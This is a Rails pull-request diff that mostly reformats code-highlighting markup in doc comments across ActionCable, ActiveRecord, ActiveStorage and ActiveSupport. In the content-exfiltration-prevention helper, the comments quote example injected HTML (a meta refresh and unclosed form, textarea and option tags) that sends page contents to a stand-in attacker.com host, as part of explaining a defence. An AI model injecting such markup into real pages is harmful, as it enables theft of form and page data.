Merge pull request rails#46607 from skipkayhil/doc-readonly-code

Fix lots of code highlighting issues [ci skip]

Author: eileencodes

actioncable/lib/action_cable/remote_connections.rb

@@ -21,7 +21,7 @@ module ActionCable
   # it uses the internal channel that all of these servers are subscribed to.
   #
   # By default, server sends a "disconnect" message with "reconnect" flag set to true.
-  # You can override it by specifying the `reconnect` option:
+  # You can override it by specifying the +reconnect+ option:
   #
   #   ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect(reconnect: false)
   class RemoteConnections

actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb

@@ -13,7 +13,7 @@ module ContentExfiltrationPreventionHelper
       #   <meta http-equiv="refresh" content='0;URL=https://attacker.com?
       #
       # The HTML following this tag, up until the next single quote would be sent to
-      # https://attacker.com. By closing any open attributes, we ensure that form
+      # +https://attacker.com+. By closing any open attributes, we ensure that form
       # contents are never exfiltrated this way.
       CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
 
@@ -23,35 +23,37 @@ module ContentExfiltrationPreventionHelper
       #
       # For example, an attacker might inject:
       #
-      # <form action="https://attacker.com"><textarea>
+      #   <form action="https://attacker.com"><textarea>
       #
-      # The HTML following this tag, up until the next `</textarea>` or the end of
-      # the document would be captured by the attacker's <textarea>. By closing any
-      # open textarea tags, we ensure that form contents are never exfiltrated.
+      # The HTML following this tag, up until the next <tt></textarea></tt> or
+      # the end of the document would be captured by the attacker's
+      # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
+      # form contents are never exfiltrated.
       CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
 
       # Close any open option tags before each form tag. This prevents attackers
       # from injecting unclosed options that could leak markup offsite.
       #
       # For example, an attacker might inject:
       #
-      # <form action="https://attacker.com"><option>
+      #   <form action="https://attacker.com"><option>
       #
-      # The HTML following this tag, up until the next `</option>` or the end of
-      # the document would be captured by the attacker's <option>. By closing any
-      # open option tags, we ensure that form contents are never exfiltrated.
+      # The HTML following this tag, up until the next <tt></option></tt> or the
+      # end of the document would be captured by the attacker's
+      # <tt><option></tt>. By closing any open option tags, we ensure that form
+      # contents are never exfiltrated.
       CLOSE_OPTION_TAG = "</option>".html_safe.freeze
 
       # Close any open form tags before each new form tag. This prevents attackers
       # from injecting unclosed forms that could leak markup offsite.
       #
       # For example, an attacker might inject:
       #
-      # <form action="https://attacker.com">
+      #   <form action="https://attacker.com">
       #
-      # The form elements following this tag, up until the next `</form>` would be
-      # captured by the attacker's <form>. By closing any open form tags, we
-      # ensure that form contents are never exfiltrated.
+      # The form elements following this tag, up until the next <tt></form></tt>
+      # would be captured by the attacker's <tt><form></tt>. By closing any open
+      # form tags, we ensure that form contents are never exfiltrated.
       CLOSE_FORM_TAG = "</form>".html_safe.freeze
 
       CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze

activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb

@@ -100,7 +100,7 @@ def all_connection_pools
         connection_name_to_pool_manager.values.flat_map { |m| m.pool_configs.map(&:pool) }
       end
 
-      # Returns the pools for a connection handler and  given role. If `:all` is passed,
+      # Returns the pools for a connection handler and  given role. If +:all+ is passed,
       # all pools belonging to the connection handler will be returned.
       def connection_pool_list(role = nil)
         if role.nil?

activerecord/lib/active_record/middleware/database_selector.rb

@@ -43,9 +43,9 @@ module Middleware
     #   config.active_record.database_resolver = MyResolver
     #   config.active_record.database_resolver_context = MyResolver::MySession
     #
-    # Note: If you are using `rails new my_app --minimal` you will need to call
-    # `require "active_support/core_ext/integer/time"` to load the libraries
-    # for +Time+.
+    # Note: If you are using <tt>rails new my_app --minimal</tt> you will need
+    # to call <tt>require "active_support/core_ext/integer/time"</tt> to load
+    # the core extension in order to use +2.seconds+
     class DatabaseSelector
       def initialize(app, resolver_klass = nil, context_klass = nil, options = {})
         @app = app

activerecord/lib/active_record/readonly_attributes.rb

@@ -15,8 +15,8 @@ module ClassMethods
       # Attributes listed as readonly will be used to create a new record.
       # Assigning a new value to a readonly attribute on a persisted record raises an error.
       #
-      # By setting `config.active_record.raise_on_assign_to_attr_readonly` to `false`, it will
-      # not raise. The value will change in memory, but will not be persisted on `save`.
+      # By setting +config.active_record.raise_on_assign_to_attr_readonly+ to +false+, it will
+      # not raise. The value will change in memory, but will not be persisted on +save+.
       #
       # ==== Examples
       #

activerecord/lib/active_record/relation/batches.rb

@@ -171,7 +171,7 @@ def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore:
     # * <tt>:use_ranges</tt> - Specifies whether to use range iteration (id >= x AND id <= y).
     #   It can make iterating over the whole or almost whole tables several times faster.
     #   Only whole table iterations use this style of iteration by default. You can disable this behavior by passing +false+.
-    #   If you iterate over the table and the only condition is, e.g., `archived_at: nil` (and only a tiny fraction
+    #   If you iterate over the table and the only condition is, e.g., <tt>archived_at: nil</tt> (and only a tiny fraction
     #   of the records are archived), it makes sense to opt in to this approach.
     #
     # Limits are honored, and if present there is no requirement for the batch

activerecord/lib/active_record/relation/query_methods.rb

@@ -362,9 +362,9 @@ def _select!(*fields) # :nodoc:
     #   # )
     #   # SELECT * FROM posts JOIN posts_with_tags ON posts_with_tags.id = posts.id
     #
-    # It is recommended to pass a query as `ActiveRecord::Relation`. If that is not possible
+    # It is recommended to pass a query as ActiveRecord::Relation. If that is not possible
     # and you have verified it is safe for the database, you can pass it as SQL literal
-    # using `Arel`.
+    # using +Arel+.
     #
     #   Post.with(popular_posts: Arel.sql("... complex sql to calculate posts popularity ..."))
     #
@@ -378,7 +378,7 @@ def _select!(*fields) # :nodoc:
     #     posts_with_tags: Post.where("tags_count > ?", 0)
     #   )
     #
-    # or chain multiple `.with` calls
+    # or chain multiple +.with+ calls
     #
     #   Post
     #     .with(posts_with_comments: Post.where("comments_count > ?", 0))

activestorage/app/models/active_storage/blob.rb

@@ -107,7 +107,7 @@ def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, con
     # To prevent problems with case-insensitive filesystems, especially in combination
     # with databases which treat indices as case-sensitive, all blob keys generated are going
     # to only contain the base-36 character alphabet and will therefore be lowercase. To maintain
-    # the same or higher amount of entropy as in the base-58 encoding used by `has_secure_token`
+    # the same or higher amount of entropy as in the base-58 encoding used by +has_secure_token+
     # the number of bytes used is increased to 28 from the standard 24
     def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
       SecureRandom.base36(length)

activesupport/lib/active_support/notifications/fanout.rb

@@ -210,11 +210,11 @@ def groups_for(name) # :nodoc:
         groups
       end
 
-      # A Handle is used to record the start and finish time of event
+      # A +Handle+ is used to record the start and finish time of event
       #
-      # Both `#start` and `#finish` must each be called exactly once
+      # Both #start and #finish must each be called exactly once
       #
-      # Where possible, it's best to the block form, +ActiveSupport::Notifications.instrument+
+      # Where possible, it's best to the block form, ActiveSupport::Notifications.instrument.
       # +Handle+ is a low-level API intended for cases where the block form can't be used.
       #
       #   handle = ActiveSupport::Notifications.instrumenter.build_handle("my.event", {})